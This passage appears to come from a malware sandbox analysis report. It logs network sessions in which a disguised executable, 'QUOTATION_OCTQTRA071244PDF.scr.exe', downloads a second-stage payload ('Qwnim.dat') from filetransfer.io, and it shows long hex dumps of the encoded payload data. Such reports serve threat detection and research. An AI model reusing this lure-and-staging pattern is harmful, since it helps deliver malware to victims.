2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50251	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:01 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:02 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=vq3nn0opfak3bjhmkdclq8stf7; expires=Fri, 18-Oct-2024 09:26:01 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/60jvYrdp5AfK cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GlZdWMTNbwATZ23qZFZUdKgWLuZ%2BsTqaLShpojLKspFlMbuKFGKsysKl5QV1YdV1vleeIpMjD%2FL%2FffDWacdZ8XBZSMXPZztC%2BBqsafDnfEO88wqAD89eiWIGS7I%2FtL1qulQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420c2ce00438a-EWR
2024-10-04 09:26:02 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 36 30 6a 76 59 72 64 70 35 41 66 4b 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/60jvYrdp5AfK">Please click here to continue</a>.</p>
2024-10-04 09:26:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50252	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:02 UTC	98	OUT	GET /storage/download/60jvYrdp5AfK HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:03 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:03 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=2ca1b39a6fe06fe01864c26a77fc92ba; expires=Fri, 18-Oct-2024 09:26:03 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gccJswq2rW1822XdHPbLU0HrRgTQsnQMnInUwWYufbfb%2Fx7iMvowdM4saRjYVzBpy3epi4XnClkyo9725aC16SYUoCZO7WYtxYTQfwialgli8gr43EQSHa4oWAM2TT%2FLAMICheJQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd420cb1ac6423d-EWR
2024-10-04 09:26:03 UTC	351	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e cd 6d Data Ascii: $)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^nm
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 6a 5d Data Ascii: xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`j]
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 cd cc Data Ascii: J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d 9d b3 Data Ascii: =5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 ac 65 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)Pe
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 9b 95 Data Ascii: S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d a7 6f Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=o
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 06 92 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:26:03 UTC	1369	IN	Data Raw: 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 b8 53 Data Ascii: 